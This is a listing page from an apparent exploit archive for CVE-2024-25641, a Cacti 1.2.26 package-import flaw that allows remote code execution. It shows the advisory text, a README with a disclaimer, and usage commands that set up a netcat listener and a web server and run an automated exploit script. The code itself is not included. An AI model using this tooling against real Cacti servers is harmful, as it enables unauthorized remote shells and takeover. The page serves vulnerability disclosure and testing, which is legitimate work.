Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-25641 PoC — Cacti RCE vulnerability when importing packages

Source
Associated Vulnerability
Title:Cacti RCE vulnerability when importing packages (CVE-2024-25641)
Description:Cacti provides an operational monitoring and fault management framework. Prior to version 1.2.27, an arbitrary file write vulnerability, exploitable through the "Package Import" feature, allows authenticated users having the "Import Templates" permission to execute arbitrary PHP code on the web server. The vulnerability is located within the `import_package()` function defined into the `/lib/import.php` script. The function blindly trusts the filename and file content provided within the XML data, and writes such files into the Cacti base path (or even outside, since path traversal sequences are not filtered). This can be exploited to write or overwrite arbitrary files on the web server, leading to execution of arbitrary PHP code or other security impacts. Version 1.2.27 contains a patch for this issue.
Description
CVE-2024-25641 - RCE Automated Exploit - Cacti 1.2.26
Readme
# CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26 

Fully automated exploit for CVE-2024-25641.
When a user is authenticated, Cacti version 1.2.26 is vulnerable to an arbitrary file write vulnerability, exploitable through the "Package Import" feature,
allows authenticated users having the "Import Templates" permission to execute arbitrary PHP code on the web server (RCE).

Credits to this PoC : https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88
(I have simply automated this to gain a foothold.)

## DISCLAIMER
This tool is intended for educational and testing purposes only. The author of this tool is not responsible for any misuse or illegal activities performed with it. 
Use this tool only on systems you own or have explicit permission to test. 
Unauthorized access to computer systems is illegal and unethical.

## Example of Use
```bash
# Clone the repository
git clone https://github.com/thisisveryfunny/CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26.git
cd CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26

# Setup Python web server
python -m http.server <PYTHON_WEB_SERVER_PORT>

# Setup netcat listener
nc -lvnp <LOCAL_PORT>

# Run the tool
pip install -r requirements.txt (if needed)
python exploit.py -L <LOCAL_IP> -lp <LOCAL_PORT> -wp <PYTHON_WEB_SERVER_PORT> -url <URL> -u <USER> -p <PASS>
File Snapshot

[4.0K] /data/pocs/07587007fdee73998907461bce9553ffdf8f84f7 ├── [8.5K] exploit.py ├── [1.3K] README.md └── [ 57] requirements.txt 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →